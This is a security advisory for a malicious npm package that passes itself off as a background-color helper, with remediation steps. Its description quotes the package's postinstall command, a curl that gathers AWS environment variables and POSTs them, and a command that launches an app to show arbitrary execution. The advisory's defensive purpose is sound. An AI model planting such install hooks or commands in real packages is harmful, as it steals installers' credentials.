MAL-2026-12504 Malicious code in @cy4dev/cydemo-bg-color (npm)
Malicious package
Published
MAL-2026-12504 is a malicious package: @cy4dev/cydemo-bg-color (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-12504/ (Markdown: https://insights.sbomify.com/MAL-2026-12504/index.md)
- Package
- @cy4dev/cydemo-bg-color
- Registry
- npm
What is MAL-2026-12504?
MAL-2026-12504 is a malicious package in @cy4dev/cydemo-bg-color, published on 5 Aug 2026.
Official description
@cy4dev/[email protected] ships a postinstall lifecycle script (src/postinstall.js) that runs at
npm install time and invokes node:child_process.exec with two shell commands. The first, curl -X POST -d \env | grep AWS` http://localhost:8000, enumerates AWS_*-prefixed environment variables from the installer's shell and POSTs them as the request body — a functioning credential-exfiltration primitive against the installer's environment. The second, open /System/Applications/Calculator.app`, launches a GUI application on macOS, demonstrating arbitrary host-shell execution triggered solely by installing the package. The package advertises itself as a DOM background-color helper; the postinstall behavior has no build or runtime purpose consistent with that description. The exfiltration destination in this build is loopback (localhost:8000), so the AWS credentials do not leave the host in this specific version, but the credential-scrape and arbitrary-exec code paths execute unconditionally on every install.What should I do about MAL-2026-12504?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.